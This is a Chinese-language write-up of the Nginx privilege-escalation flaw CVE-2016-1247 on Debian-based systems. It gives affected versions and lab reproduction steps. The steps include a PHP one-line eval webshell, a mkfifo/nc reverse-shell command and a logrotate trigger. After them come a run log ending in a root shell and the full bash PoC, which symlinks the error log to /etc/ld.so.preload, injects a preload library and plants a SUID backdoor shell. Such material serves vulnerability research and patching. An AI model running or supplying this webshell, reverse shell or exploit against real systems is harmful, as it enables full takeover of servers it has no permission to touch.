(CVE-2016-1247)Nginx 提权漏洞¶
一、漏洞简介¶
漏洞原因是在打包nginx时,设置的日志目录的所有者为 www-data ,导致一个低权限账户可以利用软链接的帮助达到提权。所以修复也是将日志的所有者改为root即可。
二、漏洞影响¶
Debian: Fixed in Nginx 1.6.2-5+deb8u3
Ubuntu:
Fixed in the following updated Nginx package versions on Ubuntu:
Ubuntu 16.04 LTS: 1.10.0-0ubuntu0.16.04.3
Ubuntu 14.04 LTS: 1.4.6-1ubuntu3.6
Ubuntu 16.10: 1.10.1-0ubuntu1.1
三、复现过程¶
docker run -d -i --name CVE-2016-1247 -p 80:80 xk0n/cve-2016-1247
在容器里配置了 nginx + php 的环境,并有一个一句话木马
/var/www/backdoor.php
<?php @eval($_POST[c]); ?>
可以用antSword连接测试,用下面的语句可以反弹回一个shell
mkfifo /tmp/bd;cat /tmp/bd | /bin/sh -i 2>&1 | nc <target IP> <port> >/tmp/bd
测试时发现gcc编译出错,可以在本地编译一个后上传。poc运行后会等待 logrotate 此时可以用下面的命令,人工触发条件。
/usr/sbin/logrotate -vf /etc/logrotate.d/nginx
测试记录如下:
$ bash ./cve-2016-1247-poc.sh /var/log/nginx/error.log _______________________________ < Is your server (N)jinxed ? ;o > ------------------------------- \ \ __---__ _- /--______ __--( / \ )XXXXXXXXXXX\v. .-XXX( O O )XXXXXXXXXXXXXXX- /XXX( U ) XXXXXXX\ /XXXXX( )--_ XXXXXXXXXXX\ /XXXXX/ ( O ) XXXXXX \XXXXX\ XXXXX/ / XXXXXX \__ \XXXXX XXXXXX__/ XXXXXX \__----> ---___ XXX__/ XXXXXX \__ / \- --__/ ___/\ XXXXXX / ___--/= \-\ ___/ XXXXXX '--- XXXXXX \-\/XXX\ XXXXXX /XXXXX \XXXXXXXXX \ /XXXXX/ \XXXXXX > _/XXXXX/ \XXXXX--__/ __-- XXXX/ -XXXXXXXX--------------- XXXXXX- \XXXXXXXXXXXXXXXXXXXXXXXXXX/ ""VXXXXXXXXXXXXXXXXXXV"" Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) nginxed-root.sh (ver. 1.0) Discovered and coded by: Dawid Golunski https://legalhackers.com [+] Starting the exploit as: uid=33(www-data) gid=33(www-data) groups=33(www-data) [+] Backdoor/low-priv shell installed at: -rwxr-xr-x 1 www-data www-data 1021112 Nov 19 13:44 /tmp/nginxrootsh [+] The server appears to be (N)jinxed (writable logdir) ! :) Symlink created at: lrwxrwxrwx 1 www-data www-data 18 Nov 19 13:44 /var/log/nginx/error.log -> /etc/ld.so.preload [+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am... [+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: -rw-r--r-- 1 www-data root 19 Nov 19 13:45 /etc/ld.so.preload [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload [+] The /etc/ld.so.preload file now contains: /tmp/privesclib.so [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! -rwsrwxrwx 1 root root 1021112 Nov 19 13:44 /tmp/nginxrootsh [+] Rootshell got assigned root SUID perms at: -rwsrwxrwx 1 root root 1021112 Nov 19 13:44 /tmp/nginxrootsh The server is (N)jinxed ! ;) Got root via Nginx! [+] Spawning the rootshell /tmp/nginxrootsh now! nginxrootsh: cannot set terminal process group (1156): Inappropriate ioctl for device nginxrootsh: no job control in this shell nginxrootsh-4.3# id id uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data) nginxrootsh-4.3# whoami whoami root nginxrootsh-4.3# whoami whoami root
poc¶
#!/bin/bash # # Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit # nginxed-root.sh (ver. 1.0) # # CVE-2016-1247 # # Discovered and coded by: # # Dawid Golunski # dawid[at]legalhackers.com # # https://legalhackers.com # # Follow https://twitter.com/dawid_golunski for updates on this advisory. # # --- # This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu # etc.) to escalate their privileges from nginx web server user (www-data) to root # through unsafe error log handling. # # The exploit waits for Nginx server to be restarted or receive a USR1 signal. # On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx) # script which is called daily by the cron.daily on default installations. # The restart should take place at 6:25am which is when cron.daily executes. # Attackers can therefore get a root shell automatically in 24h at most without any admin # interaction just by letting the exploit run till 6:25am assuming that daily logrotation # has been configured. # # # Exploit usage: # ./nginxed-root.sh path_to_nginx_error.log # # To trigger logrotation for testing the exploit, you can run the following command: # # /usr/sbin/logrotate -vf /etc/logrotate.d/nginx # # See the full advisory for details at: # https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html # # Video PoC: # https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html # # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/nginxrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() { echo -e "\n[+] Ctrl+C pressed" cleanexit 0 } #intro cat <<_eascii_ _______________________________ < Is your server (N)jinxed ? ;o > ------------------------------- \ \ __---__ _- /--______ __--( / \ )XXXXXXXXXXX\v. .-XXX( O O )XXXXXXXXXXXXXXX- /XXX( U ) XXXXXXX\ /XXXXX( )--_ XXXXXXXXXXX\ /XXXXX/ ( O ) XXXXXX \XXXXX\ XXXXX/ / XXXXXX \__ \XXXXX XXXXXX__/ XXXXXX \__----> ---___ XXX__/ XXXXXX \__ / \- --__/ ___/\ XXXXXX / ___--/= \-\ ___/ XXXXXX '--- XXXXXX \-\/XXX\ XXXXXX /XXXXX \XXXXXXXXX \ /XXXXX/ \XXXXXX > _/XXXXX/ \XXXXX--__/ __-- XXXX/ -XXXXXXXX--------------- XXXXXX- \XXXXXXXXXXXXXXXXXXXXXXXXXX/ ""VXXXXXXXXXXXXXXXXXXV"" _eascii_ echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m" # Args if [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n" echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n" exit 3 fi # Priv check echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m" id | grep -q www-data if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n" exit 3 fi # Set target paths ERRORLOG="$1" if [ ! -f $ERRORLOG ]; then echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n" exit 3 fi # [ Exploitation ] trap ctrl_c INT # Compile privesc preload library # echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" # cat <<_solibeof_>$PRIVESCSRC # #define _GNU_SOURCE # #include <stdio.h> # #include <sys/stat.h> # #include <unistd.h> # #include <dlfcn.h> # #include <sys/types.h> # #include <sys/stat.h> # #include <fcntl.h> # uid_t geteuid(void) { # static uid_t (*old_geteuid)(); # old_geteuid = dlsym(RTLD_NEXT, "geteuid"); # if ( old_geteuid() == 0 ) { # chown("$BACKDOORPATH", 0, 0); # chmod("$BACKDOORPATH", 04777); # unlink("/etc/ld.so.preload"); # } # return old_geteuid(); # } # _solibeof_ # /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" # if [ $? -ne 0 ]; then # echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." # cleanexit 2; # fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" # Safety check if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." exit 2 fi # Symlink the log file rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`" # Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered curl http://localhost/ >/dev/null 2>/dev/null # Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily # rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am) echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..." while :; do sleep 1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload rm -f $ERRORLOG break; fi done # /etc/ld.so.preload should be owned by www-data user at this point # Inject the privesc.so shared library to escalate privileges echo $PRIVESCLIB > /etc/ld.so.preload echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`" echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" chmod 755 /etc/ld.so.preload # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" sudo 2>/dev/null >/dev/null # Check for the rootshell ls -l $BACKDOORPATH ls -l $BACKDOORPATH | grep rws | grep -q root if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m" else echo -e "\n[!] Failed to get root" cleanexit 2 fi rm -f $ERRORLOG echo > $ERRORLOG # Use the rootshell to perform cleanup that requires root privilges $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" # Reset the logging to error.log $BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`" # Execute the rootshell echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n" $BACKDOORPATH -p -i # Job done. cleanexit 0